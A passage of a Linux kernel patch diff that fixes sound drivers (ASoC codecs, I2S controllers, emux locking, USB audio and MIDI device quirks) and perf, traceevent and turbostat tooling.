- ADCL_RETUNE_C1_1 */ { 17921, 0xFFFF }, /* R17921 - ADCL_RETUNE_C1_0 */ diff --git a/sound/soc/codecs/wm8994.c b/sound/soc/codecs/wm8994.c index 223b5b327cff8..1ad91e1eca192 100644 --- a/sound/soc/codecs/wm8994.c +++ b/sound/soc/codecs/wm8994.c @@ -361,7 +361,7 @@ static int wm8994_put_drc_enum(struct snd_kcontrol *kcontrol, struct wm8994 *control = wm8994->wm8994; struct wm8994_pdata *pdata = &control->pdata; int drc = wm8994_get_drc(kcontrol->id.name); - int value = ucontrol->value.integer.value[0]; + int value = ucontrol->value.enumerated.item[0]; if (drc < 0) return drc; @@ -468,7 +468,7 @@ static int wm8994_put_retune_mobile_enum(struct snd_kcontrol *kcontrol, struct wm8994 *control = wm8994->wm8994; struct wm8994_pdata *pdata = &control->pdata; int block = wm8994_get_retune_mobile_block(kcontrol->id.name); - int value = ucontrol->value.integer.value[0]; + int value = ucontrol->value.enumerated.item[0]; if (block < 0) return block; @@ -2679,7 +2679,7 @@ static struct { }; static int fs_ratios[] = { - 64, 128, 192, 256, 348, 512, 768, 1024, 1408, 1536 + 64, 128, 192, 256, 384, 512, 768, 1024, 1408, 1536 }; static int bclk_divs[] = { diff --git a/sound/soc/davinci/davinci-mcasp.c b/sound/soc/davinci/davinci-mcasp.c index 81490febac6dc..ade9d6379c1b0 100644 --- a/sound/soc/davinci/davinci-mcasp.c +++ b/sound/soc/davinci/davinci-mcasp.c @@ -632,8 +632,17 @@ static int davinci_config_channel_size(struct davinci_audio_dev *dev, { u32 fmt; u32 tx_rotate = (word_length / 4) & 0x7; - u32 rx_rotate = (32 - word_length) / 4; u32 mask = (1ULL << word_length) - 1; + /* + * For captured data we should not rotate, inversion and masking is + * enoguh to get the data to the right position: + * Format data from bus after reverse (XRBUF) + * S16_LE: |LSB|MSB|xxx|xxx| |xxx|xxx|MSB|LSB| + * S24_3LE: |LSB|DAT|MSB|xxx| |xxx|MSB|DAT|LSB| + * S24_LE: |LSB|DAT|MSB|xxx| |xxx|MSB|DAT|LSB| + * S32_LE: |LSB|DAT|DAT|MSB| |MSB|DAT|DAT|LSB| + */ + u32 rx_rotate = 0; /* * if s BCLK-to-LRCLK ratio has been configured via the set_clkdiv() diff --git a/sound/soc/dwc/designware_i2s.c b/sound/soc/dwc/designware_i2s.c index 593a3ea12d4c3..6a530afbb7e98 100644 --- a/sound/soc/dwc/designware_i2s.c +++ b/sound/soc/dwc/designware_i2s.c @@ -100,10 +100,10 @@ static inline void i2s_clear_irqs(struct dw_i2s_dev *dev, u32 stream) if (stream == SNDRV_PCM_STREAM_PLAYBACK) { for (i = 0; i < 4; i++) - i2s_write_reg(dev->i2s_base, TOR(i), 0); + i2s_read_reg(dev->i2s_base, TOR(i)); } else { for (i = 0; i < 4; i++) - i2s_write_reg(dev->i2s_base, ROR(i), 0); + i2s_read_reg(dev->i2s_base, ROR(i)); } } @@ -263,6 +263,19 @@ static void dw_i2s_shutdown(struct snd_pcm_substream *substream, snd_soc_dai_set_dma_data(dai, substream, NULL); } +static int dw_i2s_prepare(struct snd_pcm_substream *substream, + struct snd_soc_dai *dai) +{ + struct dw_i2s_dev *dev = snd_soc_dai_get_drvdata(dai); + + if (substream->stream == SNDRV_PCM_STREAM_PLAYBACK) + i2s_write_reg(dev->i2s_base, TXFFR, 1); + else + i2s_write_reg(dev->i2s_base, RXFFR, 1); + + return 0; +} + static int dw_i2s_trigger(struct snd_pcm_substream *substream, int cmd, struct snd_soc_dai *dai) { @@ -294,6 +307,7 @@ static struct snd_soc_dai_ops dw_i2s_dai_ops = { .startup = dw_i2s_startup, .shutdown = dw_i2s_shutdown, .hw_params = dw_i2s_hw_params, + .prepare = dw_i2s_prepare, .trigger = dw_i2s_trigger, }; diff --git a/sound/soc/pxa/Kconfig b/sound/soc/pxa/Kconfig index 4d2e46fae77cf..20a57c0060b22 100644 --- a/sound/soc/pxa/Kconfig +++ b/sound/soc/pxa/Kconfig @@ -1,7 +1,6 @@ config SND_PXA2XX_SOC tristate "SoC Audio for the Intel PXA2xx chip" depends on ARCH_PXA - select SND_ARM select SND_PXA2XX_LIB help Say Y or M if you want to add support for codecs attached to @@ -24,7 +23,6 @@ config SND_PXA2XX_AC97 config SND_PXA2XX_SOC_AC97 tristate select AC97_BUS - select SND_ARM select SND_PXA2XX_LIB_AC97 select SND_SOC_AC97_BUS diff --git a/sound/soc/pxa/pxa-ssp.c b/sound/soc/pxa/pxa-ssp.c index 6f4dd7543e829..95a9b07bbe966 100644 --- a/sound/soc/pxa/pxa-ssp.c +++ b/sound/soc/pxa/pxa-ssp.c @@ -757,9 +757,7 @@ static int pxa_ssp_remove(struct snd_soc_dai *dai) SNDRV_PCM_RATE_48000 | SNDRV_PCM_RATE_64000 | \ SNDRV_PCM_RATE_88200 | SNDRV_PCM_RATE_96000) -#define PXA_SSP_FORMATS (SNDRV_PCM_FMTBIT_S16_LE |\ - SNDRV_PCM_FMTBIT_S24_LE | \ - SNDRV_PCM_FMTBIT_S32_LE) +#define PXA_SSP_FORMATS (SNDRV_PCM_FMTBIT_S16_LE | SNDRV_PCM_FMTBIT_S32_LE) static const struct snd_soc_dai_ops pxa_ssp_dai_ops = { .startup = pxa_ssp_startup, diff --git a/sound/soc/samsung/i2s.c b/sound/soc/samsung/i2s.c index 82ebb1a51479a..5c9b5e4f94c3d 100644 --- a/sound/soc/samsung/i2s.c +++ b/sound/soc/samsung/i2s.c @@ -853,11 +853,9 @@ static int i2s_suspend(struct snd_soc_dai *dai) { struct i2s_dai *i2s = to_info(dai); - if (dai->active) { - i2s->suspend_i2smod = readl(i2s->addr + I2SMOD); - i2s->suspend_i2scon = readl(i2s->addr + I2SCON); - i2s->suspend_i2spsr = readl(i2s->addr + I2SPSR); - } + i2s->suspend_i2smod = readl(i2s->addr + I2SMOD); + i2s->suspend_i2scon = readl(i2s->addr + I2SCON); + i2s->suspend_i2spsr = readl(i2s->addr + I2SPSR); return 0; } @@ -866,11 +864,9 @@ static int i2s_resume(struct snd_soc_dai *dai) { struct i2s_dai *i2s = to_info(dai); - if (dai->active) { - writel(i2s->suspend_i2scon, i2s->addr + I2SCON); - writel(i2s->suspend_i2smod, i2s->addr + I2SMOD); - writel(i2s->suspend_i2spsr, i2s->addr + I2SPSR); - } + writel(i2s->suspend_i2scon, i2s->addr + I2SCON); + writel(i2s->suspend_i2smod, i2s->addr + I2SMOD); + writel(i2s->suspend_i2spsr, i2s->addr + I2SPSR); return 0; } diff --git a/sound/soc/samsung/s3c-i2s-v2.c b/sound/soc/samsung/s3c-i2s-v2.c index 20e98d1dded20..38c36cdd8c774 100644 --- a/sound/soc/samsung/s3c-i2s-v2.c +++ b/sound/soc/samsung/s3c-i2s-v2.c @@ -732,7 +732,7 @@ static int s3c2412_i2s_resume(struct snd_soc_dai *dai) #endif int s3c_i2sv2_register_component(struct device *dev, int id, - struct snd_soc_component_driver *cmp_drv, + const struct snd_soc_component_driver *cmp_drv, struct snd_soc_dai_driver *dai_drv) { struct snd_soc_dai_ops *ops = drv->ops; diff --git a/sound/soc/samsung/s3c-i2s-v2.h b/sound/soc/samsung/s3c-i2s-v2.h index 90abab364b495..d0684145ed1fd 100644 --- a/sound/soc/samsung/s3c-i2s-v2.h +++ b/sound/soc/samsung/s3c-i2s-v2.h @@ -101,7 +101,7 @@ extern int s3c_i2sv2_probe(struct snd_soc_dai *dai, * soc core. */ extern int s3c_i2sv2_register_component(struct device *dev, int id, - struct snd_soc_component_driver *cmp_drv, + const struct snd_soc_component_driver *cmp_drv, struct snd_soc_dai_driver *dai_drv); #endif /* __SND_SOC_S3C24XX_S3C_I2SV2_I2S_H */ diff --git a/sound/soc/soc-pcm.c b/sound/soc/soc-pcm.c index 7e2b2f3ac7208..5752a8800ce3b 100644 --- a/sound/soc/soc-pcm.c +++ b/sound/soc/soc-pcm.c @@ -1324,7 +1324,8 @@ int dpcm_be_dai_hw_free(struct snd_soc_pcm_runtime *fe, int stream) (be->dpcm[stream].state != SND_SOC_DPCM_STATE_PREPARE) && (be->dpcm[stream].state != SND_SOC_DPCM_STATE_HW_FREE) && (be->dpcm[stream].state != SND_SOC_DPCM_STATE_PAUSED) && - (be->dpcm[stream].state != SND_SOC_DPCM_STATE_STOP)) + (be->dpcm[stream].state != SND_SOC_DPCM_STATE_STOP) && + (be->dpcm[stream].state != SND_SOC_DPCM_STATE_SUSPEND)) continue; dev_dbg(be->dev, "ASoC: hw_free BE %s\n", diff --git a/sound/synth/emux/emux_oss.c b/sound/synth/emux/emux_oss.c index 319754cf62086..646b66703bd8f 100644 --- a/sound/synth/emux/emux_oss.c +++ b/sound/synth/emux/emux_oss.c @@ -69,7 +69,8 @@ snd_emux_init_seq_oss(struct snd_emux *emu) struct snd_seq_oss_reg *arg; struct snd_seq_device *dev; - if (snd_seq_device_new(emu->card, 0, SNDRV_SEQ_DEV_ID_OSS, + /* using device#1 here for avoiding conflicts with OPL3 */ + if (snd_seq_device_new(emu->card, 1, SNDRV_SEQ_DEV_ID_OSS, sizeof(struct snd_seq_oss_reg), &dev) < 0) return; @@ -118,12 +119,8 @@ snd_emux_open_seq_oss(struct snd_seq_oss_arg *arg, void *closure) if (snd_BUG_ON(!arg || !emu)) return -ENXIO; - mutex_lock(&emu->register_mutex); - - if (!snd_emux_inc_count(emu)) { - mutex_unlock(&emu->register_mutex); + if (!snd_emux_inc_count(emu)) return -EFAULT; - } memset(&callback, 0, sizeof(callback)); callback.owner = THIS_MODULE; @@ -135,7 +132,6 @@ snd_emux_open_seq_oss(struct snd_seq_oss_arg *arg, void *closure) if (p == NULL) { snd_printk(KERN_ERR "can't create port\n"); snd_emux_dec_count(emu); - mutex_unlock(&emu->register_mutex); return -ENOMEM; } @@ -148,8 +144,6 @@ snd_emux_open_seq_oss(struct snd_seq_oss_arg *arg, void *closure) reset_port_mode(p, arg->seq_mode); snd_emux_reset_port(p); - - mutex_unlock(&emu->register_mutex); return 0; } @@ -195,13 +189,11 @@ snd_emux_close_seq_oss(struct snd_seq_oss_arg *arg) if (snd_BUG_ON(!emu)) return -ENXIO; - mutex_lock(&emu->register_mutex); snd_emux_sounds_off_all(p); snd_soundfont_close_check(emu->sflist, SF_CLIENT_NO(p->chset.port)); snd_seq_event_port_detach(p->chset.client, p->chset.port); snd_emux_dec_count(emu); - mutex_unlock(&emu->register_mutex); return 0; } diff --git a/sound/synth/emux/emux_seq.c b/sound/synth/emux/emux_seq.c index 7778b8e19782e..a0209204ae489 100644 --- a/sound/synth/emux/emux_seq.c +++ b/sound/synth/emux/emux_seq.c @@ -124,12 +124,10 @@ snd_emux_detach_seq(struct snd_emux *emu) if (emu->voices) snd_emux_terminate_all(emu); - mutex_lock(&emu->register_mutex); if (emu->client >= 0) { snd_seq_delete_kernel_client(emu->client); emu->client = -1; } - mutex_unlock(&emu->register_mutex); } @@ -269,8 +267,8 @@ snd_emux_event_input(struct snd_seq_event *ev, int direct, void *private_data, /* * increment usage count */ -int -snd_emux_inc_count(struct snd_emux *emu) +static int +__snd_emux_inc_count(struct snd_emux *emu) { emu->used++; if (!try_module_get(emu->ops.owner)) @@ -284,12 +282,21 @@ snd_emux_inc_count(struct snd_emux *emu) return 1; } +int snd_emux_inc_count(struct snd_emux *emu) +{ + int ret; + + mutex_lock(&emu->register_mutex); + ret = __snd_emux_inc_count(emu); + mutex_unlock(&emu->register_mutex); + return ret; +} /* * decrease usage count */ -void -snd_emux_dec_count(struct snd_emux *emu) +static void +__snd_emux_dec_count(struct snd_emux *emu) { module_put(emu->card->module); emu->used--; @@ -298,6 +305,12 @@ snd_emux_dec_count(struct snd_emux *emu) module_put(emu->ops.owner); } +void snd_emux_dec_count(struct snd_emux *emu) +{ + mutex_lock(&emu->register_mutex); + __snd_emux_dec_count(emu); + mutex_unlock(&emu->register_mutex); +} /* * Routine that is called upon a first use of a particular port @@ -317,7 +330,7 @@ snd_emux_use(void *private_data, struct snd_seq_port_subscribe *info) mutex_lock(&emu->register_mutex); snd_emux_init_port(p); - snd_emux_inc_count(emu); + __snd_emux_inc_count(emu); mutex_unlock(&emu->register_mutex); return 0; } @@ -340,7 +353,7 @@ snd_emux_unuse(void *private_data, struct snd_seq_port_subscribe *info) mutex_lock(&emu->register_mutex); snd_emux_sounds_off_all(p); - snd_emux_dec_count(emu); + __snd_emux_dec_count(emu); mutex_unlock(&emu->register_mutex); return 0; } diff --git a/sound/usb/midi.c b/sound/usb/midi.c index a67e4cca73ff7..37ecba3408760 100644 --- a/sound/usb/midi.c +++ b/sound/usb/midi.c @@ -174,6 +174,8 @@ struct snd_usb_midi_in_endpoint { u8 running_status_length; } ports[0x10]; u8 seen_f5; + bool in_sysex; + u8 last_cin; u8 error_resubmit; int current_port; }; @@ -364,6 +366,8 @@ static void snd_usbmidi_error_timer(unsigned long data) if (in && in->error_resubmit) { in->error_resubmit = 0; for (j = 0; j < INPUT_URBS; ++j) { + if (atomic_read(&in->urbs[j]->use_count)) + continue; in->urbs[j]->dev = umidi->dev; snd_usbmidi_submit_urb(in->urbs[j], GFP_ATOMIC); } @@ -462,6 +466,39 @@ static void snd_usbmidi_maudio_broken_running_status_input( } } +/* + * QinHeng CH345 is buggy: every second packet inside a SysEx has not CIN 4 + * but the previously seen CIN, but still with three data bytes. + */ +static void ch345_broken_sysex_input(struct snd_usb_midi_in_endpoint *ep, + uint8_t *buffer, int buffer_length) +{ + unsigned int i, cin, length; + + for (i = 0; i + 3 < buffer_length; i += 4) { + if (buffer[i] == 0 && i > 0) + break; + cin = buffer[i] & 0x0f; + if (ep->in_sysex && + cin == ep->last_cin && + (buffer[i + 1 + (cin == 0x6)] & 0x80) == 0) + cin = 0x4; +#if 0 + if (buffer[i + 1] == 0x90) { + /* + * Either a corrupted running status or a real note-on + * message; impossible to detect reliably. + */ + } +#endif + length = snd_usbmidi_cin_length[cin]; + snd_usbmidi_input_data(ep, 0, &buffer[i + 1], length); + ep->in_sysex = cin == 0x4; + if (!ep->in_sysex) + ep->last_cin = cin; + } +} + /* * CME protocol: like the standard protocol, but SysEx commands are sent as a * single USB packet preceded by a 0x0F byte. @@ -648,6 +685,12 @@ static struct usb_protocol_ops snd_usbmidi_cme_ops = { .output_packet = snd_usbmidi_output_standard_packet, }; +static struct usb_protocol_ops snd_usbmidi_ch345_broken_sysex_ops = { + .input = ch345_broken_sysex_input, + .output = snd_usbmidi_standard_output, + .output_packet = snd_usbmidi_output_standard_packet, +}; + /* * AKAI MPD16 protocol: * @@ -1324,6 +1367,7 @@ static int snd_usbmidi_out_endpoint_create(struct snd_usb_midi* umidi, * Various chips declare a packet size larger than 4 bytes, but * do not actually work with larger packets: */ + case USB_ID(0x0a67, 0x5011): /* Medeli DD305 */ case USB_ID(0x0a92, 0x1020): /* ESI M4U */ case USB_ID(0x1430, 0x474b): /* RedOctane GH MIDI INTERFACE */ case USB_ID(0x15ca, 0x0101): /* Textech USB Midi Cable */ @@ -2212,6 +2256,10 @@ int snd_usbmidi_create(struct snd_card *card, if (err < 0) break; + err = snd_usbmidi_detect_per_port_endpoints(umidi, endpoints); + break; + case QUIRK_MIDI_CH345: + umidi->usb_protocol_ops = &snd_usbmidi_ch345_broken_sysex_ops; err = snd_usbmidi_detect_per_port_endpoints(umidi, endpoints); break; default: diff --git a/sound/usb/mixer.c b/sound/usb/mixer.c index 824cddf75218e..ab9ae07454ec6 100644 --- a/sound/usb/mixer.c +++ b/sound/usb/mixer.c @@ -886,10 +886,12 @@ static void volume_control_quirks(struct usb_mixer_elem_info *cval, case USB_ID(0x046d, 0x0807): /* Logitech Webcam C500 */ case USB_ID(0x046d, 0x0808): case USB_ID(0x046d, 0x0809): + case USB_ID(0x046d, 0x0819): /* Logitech Webcam C210 */ case USB_ID(0x046d, 0x081b): /* HD Webcam c310 */ case USB_ID(0x046d, 0x081d): /* HD Webcam c510 */ case USB_ID(0x046d, 0x0825): /* HD Webcam c270 */ case USB_ID(0x046d, 0x0826): /* HD Webcam c525 */ + case USB_ID(0x046d, 0x08ca): /* Logitech Quickcam Fusion */ case USB_ID(0x046d, 0x0991): /* Most audio usb devices lie about volume resolution. * Most Logitech webcams have res = 384. diff --git a/sound/usb/mixer_maps.c b/sound/usb/mixer_maps.c index 0339d464791a2..2d17f40fb16d7 100644 --- a/sound/usb/mixer_maps.c +++ b/sound/usb/mixer_maps.c @@ -322,11 +322,28 @@ static struct usbmix_name_map hercules_usb51_map[] = { { 0 } /* terminator */ }; -static const struct usbmix_name_map kef_x300a_map[] = { - { 10, NULL }, /* firmware locks up (?) when we try to access this FU */ +/* some (all?) SCMS USB3318 devices are affected by a firmware lock up + * when anything attempts to access FU 10 (control) + */ +static const struct usbmix_name_map scms_usb3318_map[] = { + { 10, NULL }, { 0 } }; +/* Bose companion 5, the dB conversion factor is 16 instead of 256 */ +static struct usbmix_dB_map bose_companion5_dB = {-5006, -6}; +static struct usbmix_name_map bose_companion5_map[] = { + { 3, NULL, .dB = &bose_companion5_dB }, + { 0 } /* terminator */ +}; + +/* Dragonfly DAC 1.2, the dB conversion factor is 1 instead of 256 */ +static struct usbmix_dB_map dragonfly_1_2_dB = {0, 5000}; +static struct usbmix_name_map dragonfly_1_2_map[] = { + { 7, NULL, .dB = &dragonfly_1_2_dB }, + { 0 } /* terminator */ +}; + /* * Control map entries */ @@ -415,8 +432,29 @@ static struct usbmix_ctl_map usbmix_ctl_maps[] = { .map = ebox44_map, }, { + /* MAYA44 USB+ */ + .id = USB_ID(0x2573, 0x0008), + .map = maya44_map, + }, + { + /* KEF X300A */ .id = USB_ID(0x27ac, 0x1000), - .map = kef_x300a_map, + .map = scms_usb3318_map, + }, + { + /* Arcam rPAC */ + .id = USB_ID(0x25c4, 0x0003), + .map = scms_usb3318_map, + }, + { + /* Bose Companion 5 */ + .id = USB_ID(0x05a7, 0x1020), + .map = bose_companion5_map, + }, + { + /* Dragonfly DAC 1.2 */ + .id = USB_ID(0x21b4, 0x0081), + .map = dragonfly_1_2_map, }, { 0 } /* terminator */ }; diff --git a/sound/usb/mixer_quirks.c b/sound/usb/mixer_quirks.c index ebe91440a068a..c311681bd3900 100644 --- a/sound/usb/mixer_quirks.c +++ b/sound/usb/mixer_quirks.c @@ -175,6 +175,7 @@ static const struct rc_config { { USB_ID(0x041e, 0x3040), 2, 2, 6, 6, 2, 0x6e91 }, /* Live! 24-bit */ { USB_ID(0x041e, 0x3042), 0, 1, 1, 1, 1, 0x000d }, /* Usb X-Fi S51 */ { USB_ID(0x041e, 0x30df), 0, 1, 1, 1, 1, 0x000d }, /* Usb X-Fi S51 Pro */ + { USB_ID(0x041e, 0x3237), 0, 1, 1, 1, 1, 0x000d }, /* Usb X-Fi S51 Pro */ { USB_ID(0x041e, 0x3048), 2, 2, 6, 6, 2, 0x6e91 }, /* Toshiba SB0500 */ }; @@ -799,6 +800,11 @@ static int snd_ftu_eff_switch_put(struct snd_kcontrol *kctl, return changed; } +static void kctl_private_value_free(struct snd_kcontrol *kctl) +{ + kfree((void *)kctl->private_value); +} + static int snd_ftu_create_effect_switch(struct usb_mixer_interface *mixer, int validx, int bUnitID) { @@ -833,6 +839,7 @@ static int snd_ftu_create_effect_switch(struct usb_mixer_interface *mixer, return -ENOMEM; } + kctl->private_free = kctl_private_value_free; err = snd_ctl_add(mixer->chip->card, kctl); if (err < 0) return err; diff --git a/sound/usb/quirks-table.h b/sound/usb/quirks-table.h index 8b75bcf136f6d..9ec5ce4e35fb1 100644 --- a/sound/usb/quirks-table.h +++ b/sound/usb/quirks-table.h @@ -385,6 +385,36 @@ YAMAHA_DEVICE(0x105d, NULL), } } }, +{ + USB_DEVICE(0x0499, 0x1509), + .driver_info = (unsigned long) & (const struct snd_usb_audio_quirk) { + /* .vendor_name = "Yamaha", */ + /* .product_name = "Steinberg UR22", */ + .ifnum = QUIRK_ANY_INTERFACE, + .type = QUIRK_COMPOSITE, + .data = (const struct snd_usb_audio_quirk[]) { + { + .ifnum = 1, + .type = QUIRK_AUDIO_STANDARD_INTERFACE + }, + { + .ifnum = 2, + .type = QUIRK_AUDIO_STANDARD_INTERFACE + }, + { + .ifnum = 3, + .type = QUIRK_MIDI_YAMAHA + }, + { + .ifnum = 4, + .type = QUIRK_IGNORE_INTERFACE + }, + { + .ifnum = -1 + } + } + } +}, { USB_DEVICE(0x0499, 0x150a), .driver_info = (unsigned long) & (const struct snd_usb_audio_quirk) { @@ -2743,6 +2773,74 @@ YAMAHA_DEVICE(0x7010, "UB99"), } }, +/* Steinberg devices */ +{ + /* Steinberg MI2 */ + USB_DEVICE_VENDOR_SPEC(0x0a4e, 0x2040), + .driver_info = (unsigned long) & (const struct snd_usb_audio_quirk) { + .ifnum = QUIRK_ANY_INTERFACE, + .type = QUIRK_COMPOSITE, + .data = & (const struct snd_usb_audio_quirk[]) { + { + .ifnum = 0, + .type = QUIRK_AUDIO_STANDARD_INTERFACE + }, + { + .ifnum = 1, + .type = QUIRK_AUDIO_STANDARD_INTERFACE + }, + { + .ifnum = 2, + .type = QUIRK_AUDIO_STANDARD_INTERFACE + }, + { + .ifnum = 3, + .type = QUIRK_MIDI_FIXED_ENDPOINT, + .data = &(const struct snd_usb_midi_endpoint_info) { + .out_cables = 0x0001, + .in_cables = 0x0001 + } + }, + { + .ifnum = -1 + } + } + } +}, +{ + /* Steinberg MI4 */ + USB_DEVICE_VENDOR_SPEC(0x0a4e, 0x4040), + .driver_info = (unsigned long) & (const struct snd_usb_audio_quirk) { + .ifnum = QUIRK_ANY_INTERFACE, + .type = QUIRK_COMPOSITE, + .data = & (const struct snd_usb_audio_quirk[]) { + { + .ifnum = 0, + .type = QUIRK_AUDIO_STANDARD_INTERFACE + }, + { + .ifnum = 1, + .type = QUIRK_AUDIO_STANDARD_INTERFACE + }, + { + .ifnum = 2, + .type = QUIRK_AUDIO_STANDARD_INTERFACE + }, + { + .ifnum = 3, + .type = QUIRK_MIDI_FIXED_ENDPOINT, + .data = &(const struct snd_usb_midi_endpoint_info) { + .out_cables = 0x0001, + .in_cables = 0x0001 + } + }, + { + .ifnum = -1 + } + } + } +}, + /* TerraTec devices */ { USB_DEVICE_VENDOR_SPEC(0x0ccd, 0x0012), @@ -2943,6 +3041,17 @@ YAMAHA_DEVICE(0x7010, "UB99"), .idProduct = 0x1020, }, +/* QinHeng devices */ +{ + USB_DEVICE(0x1a86, 0x752d), + .driver_info = (unsigned long) &(const struct snd_usb_audio_quirk) { + .vendor_name = "QinHeng", + .product_name = "CH345", + .ifnum = 1, + .type = QUIRK_MIDI_CH345 + } +}, + /* KeithMcMillen Stringport */ { USB_DEVICE(0x1f38, 0x0001), diff --git a/sound/usb/quirks.c b/sound/usb/quirks.c index 461a785ef93ea..1a85a8085fbb6 100644 --- a/sound/usb/quirks.c +++ b/sound/usb/quirks.c @@ -318,6 +318,7 @@ int snd_usb_create_quirk(struct snd_usb_audio *chip, [QUIRK_MIDI_CME] = create_any_midi_quirk, [QUIRK_MIDI_AKAI] = create_any_midi_quirk, [QUIRK_MIDI_FTDI] = create_any_midi_quirk, + [QUIRK_MIDI_CH345] = create_any_midi_quirk, [QUIRK_AUDIO_STANDARD_INTERFACE] = create_standard_audio_quirk, [QUIRK_AUDIO_FIXED_ENDPOINT] = create_fixed_stream_quirk, [QUIRK_AUDIO_EDIROL_UAXX] = create_uaxx_quirk, @@ -904,8 +905,12 @@ void snd_usb_set_interface_quirk(struct usb_device *dev) * "Playback Design" products need a 50ms delay after setting the * USB interface. */ - if (le16_to_cpu(dev->descriptor.idVendor) == 0x23ba) + switch (le16_to_cpu(dev->descriptor.idVendor)) { + case 0x23ba: /* Playback Design */ + case 0x0644: /* TEAC Corp. */ mdelay(50); + break; + } } void snd_usb_ctl_msg_quirk(struct usb_device *dev, unsigned int pipe, @@ -919,6 +924,28 @@ void snd_usb_ctl_msg_quirk(struct usb_device *dev, unsigned int pipe, if ((le16_to_cpu(dev->descriptor.idVendor) == 0x23ba) && (requesttype & USB_TYPE_MASK) == USB_TYPE_CLASS) mdelay(20); + + /* + * "TEAC Corp." products need a 20ms delay after each + * class compliant request + */ + if ((le16_to_cpu(dev->descriptor.idVendor) == 0x0644) && + (requesttype & USB_TYPE_MASK) == USB_TYPE_CLASS) + mdelay(20); + + /* Marantz/Denon devices with USB DAC functionality need a delay + * after each class compliant request + */ + if ((le16_to_cpu(dev->descriptor.idVendor) == 0x154e) && + (requesttype & USB_TYPE_MASK) == USB_TYPE_CLASS) { + + switch (le16_to_cpu(dev->descriptor.idProduct)) { + case 0x3005: /* Marantz HD-DAC1 */ + case 0x3006: /* Marantz SA-14S1 */ + mdelay(20); + break; + } + } } /* diff --git a/sound/usb/usbaudio.h b/sound/usb/usbaudio.h index bc43bcaddf4d5..d6f3fefc882f2 100644 --- a/sound/usb/usbaudio.h +++ b/sound/usb/usbaudio.h @@ -83,6 +83,7 @@ enum quirk_type { QUIRK_MIDI_AKAI, QUIRK_MIDI_US122L, QUIRK_MIDI_FTDI, + QUIRK_MIDI_CH345, QUIRK_AUDIO_STANDARD_INTERFACE, QUIRK_AUDIO_FIXED_ENDPOINT, QUIRK_AUDIO_EDIROL_UAXX, diff --git a/tools/Makefile b/tools/Makefile index 41067f304215b..b82a15b92b1c8 100644 --- a/tools/Makefile +++ b/tools/Makefile @@ -22,6 +22,10 @@ help: @echo ' from the kernel command line to build and install one of' @echo ' the tools above' @echo '' + @echo ' $$ make tools/all' + @echo '' + @echo ' builds all tools.' + @echo '' @echo ' $$ make tools/install' @echo '' @echo ' installs all tools.' @@ -50,6 +54,10 @@ selftests: FORCE turbostat x86_energy_perf_policy: FORCE $(call descend,power/x86/$@) +all: cgroup cpupower firewire lguest \ + perf selftests turbostat usb \ + virtio vm net x86_energy_perf_policy + cpupower_install: $(call descend,power/$(@:_install=),install) diff --git a/tools/lib/traceevent/event-parse.c b/tools/lib/traceevent/event-parse.c index 82b0606dcb8ab..c3efcf2f816b6 100644 --- a/tools/lib/traceevent/event-parse.c +++ b/tools/lib/traceevent/event-parse.c @@ -4190,13 +4190,12 @@ static void pretty_print(struct trace_seq *s, void *data, int size, struct event sizeof(long) != 8) { char *p; - ls = 2; /* make %l into %ll */ - p = strchr(format, 'l'); - if (p) + if (ls == 1 && (p = strchr(format, 'l'))) memmove(p+1, p, strlen(p)+1); else if (strcmp(format, "%p") == 0) strcpy(format, "0x%llx"); + ls = 2; } switch (ls) { case -2: diff --git a/tools/perf/Documentation/perf-stat.txt b/tools/perf/Documentation/perf-stat.txt index 2fe87fb558f0a..8c9604797e872 100644 --- a/tools/perf/Documentation/perf-stat.txt +++ b/tools/perf/Documentation/perf-stat.txt @@ -50,6 +50,14 @@ OPTIONS --scale:: scale/normalize counter values +-d:: +--detailed:: + print more detailed statistics, can be specified up to 3 times + + -d: detailed events, L1 and LLC data cache + -d -d: more detailed events, dTLB and iTLB events + -d -d -d: very detailed events, adding prefetch events + -r:: --repeat=:: repeat command and print average + stddev (max: 100). 0 means forever. diff --git a/tools/perf/builtin-kmem.c b/tools/perf/builtin-kmem.c index 46878daca5cc7..c9eac3edfe4d3 100644 --- a/tools/perf/builtin-kmem.c +++ b/tools/perf/builtin-kmem.c @@ -101,7 +101,7 @@ static int setup_cpunode_map(void) dir1 = opendir(PATH_SYS_NODE); if (!dir1) - return -1; + return 0; while ((dent1 = readdir(dir1)) != NULL) { if (dent1->d_type != DT_DIR || diff --git a/tools/perf/util/header.c b/tools/perf/util/header.c index 326068a593a5f..bb34199d54519 100644 --- a/tools/perf/util/header.c +++ b/tools/perf/util/header.c @@ -1729,7 +1729,7 @@ static int process_nrcpus(struct perf_file_section *section __maybe_unused, if (ph->needs_swap) nr = bswap_32(nr); - ph->env.nr_cpus_online = nr; + ph->env.nr_cpus_avail = nr; ret = readn(fd, &nr, sizeof(nr)); if (ret != sizeof(nr)) @@ -1738,7 +1738,7 @@ static int process_nrcpus(struct perf_file_section *section __maybe_unused, if (ph->needs_swap) nr = bswap_32(nr); - ph->env.nr_cpus_avail = nr; + ph->env.nr_cpus_online = nr; return 0; } diff --git a/tools/perf/util/hist.h b/tools/perf/util/hist.h index 14c2fe20aa628..20764e01df168 100644 --- a/tools/perf/util/hist.h +++ b/tools/perf/util/hist.h @@ -34,6 +34,7 @@ struct events_stats { u32 nr_invalid_chains; u32 nr_unknown_id; u32 nr_unprocessable_samples; + u32 nr_unordered_events; }; enum hist_column { diff --git a/tools/perf/util/session.c b/tools/perf/util/session.c index e392202b96bc2..6f593a704ea56 100644 --- a/tools/perf/util/session.c +++ b/tools/perf/util/session.c @@ -656,8 +656,7 @@ static int perf_session_queue_event(struct perf_session *s, union perf_event *ev return -ETIME; if (timestamp < s->ordered_samples.last_flush) { - printf("Warning: Timestamp below last timeslice flush\n"); - return -EINVAL; + s->stats.nr_unordered_events++; } if (!list_empty(sc)) { @@ -1057,6 +1056,8 @@ static void perf_session__warn_about_errors(const struct perf_session *session, "Do you have a KVM guest running and not using 'perf kvm'?\n", session->stats.nr_unprocessable_samples); } + if (session->stats.nr_unordered_events != 0) + ui__warning("%u out of order events recorded.\n", session->stats.nr_unordered_events); } #define session_done() (*(volatile int *)(&session_done)) diff --git a/tools/power/x86/turbostat/Makefile b/tools/power/x86/turbostat/Makefile index d1b3a361e526d..4039854560d0d 100644 --- a/tools/power/x86/turbostat/Makefile +++ b/tools/power/x86/turbostat/Makefile @@ -1,8 +1,12 @@ CC = $(CROSS_COMPILE)gcc -BUILD_OUTPUT := $(PWD) +BUILD_OUTPUT := $(CURDIR) PREFIX := /usr DESTDIR := +ifeq ("$(origin O)", "command line") + BUILD_OUTPUT := $(O) +endif + turbostat : turbostat.c CFLAGS += -Wall CFLAGS += 